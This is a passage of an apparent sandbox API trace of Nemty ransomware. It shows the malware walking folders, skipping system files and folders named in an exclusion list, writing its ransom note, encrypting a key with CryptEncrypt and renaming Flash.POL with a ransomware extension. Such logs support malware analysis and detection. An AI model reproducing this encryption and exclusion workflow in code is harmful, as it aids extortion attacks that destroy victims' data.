lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340328 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.977] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26063690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26063690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26063690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0191.977] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0191.978] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2=".") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="..") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="...") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="windows") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="$RECYCLE.BIN") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="rsa") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="NTDETECT.COM") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="ntldr") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="MSDOS.SYS") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="IO.SYS") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="boot.ini") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="boot.ini") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="AUTOEXEC.BAT") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="ntuser.dat") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="desktop.ini") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="CONFIG.SYS") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="RECYCLER") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="BOOTSECT.BAK") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="bootmgr") returned 1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="programdata") returned -1 [0191.978] lstrcmpiW (lpString1="MPP_POL", lpString2="appdata") returned 1 [0191.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_POL", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_POL", lpUsedDefaultChar=0x0) returned 7 [0191.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP_POL", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP_POL", lpUsedDefaultChar=0x0) returned 7 [0191.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0191.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63401b8 [0191.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.981] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.981] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0191.983] CloseHandle (hObject=0x2e8) returned 1 [0191.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0191.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0191.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340308 [0191.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0191.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0191.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0191.984] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.984] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0191.985] CloseHandle (hObject=0x2e8) returned 1 [0191.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0191.985] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26121d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26121d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0191.986] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0191.986] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26121d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26121d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0191.986] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0191.986] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0191.986] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.POL", cAlternateFileName="")) returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2=".") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="..") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="...") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="windows") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="$RECYCLE.BIN") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="rsa") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="NTDETECT.COM") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="ntldr") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="MSDOS.SYS") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="IO.SYS") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="boot.ini") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="boot.ini") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="AUTOEXEC.BAT") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="ntuser.dat") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="desktop.ini") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="CONFIG.SYS") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="RECYCLER") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="BOOTSECT.BAK") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="bootmgr") returned 1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="programdata") returned -1 [0191.986] lstrcmpiW (lpString1="Flash.POL", lpString2="appdata") returned 1 [0191.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.POL", lpUsedDefaultChar=0x0) returned 9 [0191.986] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.POL", lpUsedDefaultChar=0x0) returned 9 [0191.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.POL", lpUsedDefaultChar=0x0) returned 9 [0191.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0191.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.POL", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.POL", lpUsedDefaultChar=0x0) returned 9 [0191.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340240 [0191.987] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.987] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0191.987] Sleep (dwMilliseconds=0x5) [0192.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2616e030, dwHighDateTime=0x1d561e8)) [0192.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2616e030, dwHighDateTime=0x1d561e8)) [0192.003] GetLastError () returned 0xb7 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0192.003] GetLastError () returned 0xb7 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0192.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.003] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0192.003] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0192.003] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0192.003] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="qtw17tICGzq54vIyv8f+Vo0gEBkxc02Qd5q3KLgcnzaEqfXD4jhvkb5yPaqMpcSk\r\nYsGQJf2fjuPUE2uP/ybr8QVbRAdtPSqTGh5WvPEVTjDJjzZszBnthwBlQg7yymNm\r\nZ/2T5iam/uQ9cTj9Oat0skEj4bHus5uEVwDJLplVGpMgsYCw6/noiQJr7sL95IYS\r\n93ve3+eLDlsKtFuJuAZd6VNzNtXeD5PquPAVznD4GeqsEy5mhDXhgtElS2mMLe/C\r\nplTgnsw1bpMXubARLX12jFM4aBIcFCV/RFubGepWMcfxlcd/mJG7stzEgfQN2up8\r\nNnHf7aPpqWwdJfoemOKiwA==\r\n", pcchString=0x653e29c) returned 1 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0192.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.003] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0192.003] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0192.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0192.005] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0192.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0192.005] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.005] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0192.006] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.006] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0192.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0192.007] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0192.007] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0192.007] CloseHandle (hObject=0x2f0) returned 1 [0192.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0192.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0192.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0192.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0192.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0192.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0192.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0192.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0192.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0192.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0192.007] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\Flash.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\flash.pol._nemty_kgobjgd_")) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0192.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0192.008] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.POL", cAlternateFileName="")) returned 1 [0192.008] lstrcmpiW (lpString1="Mcimpp.POL", 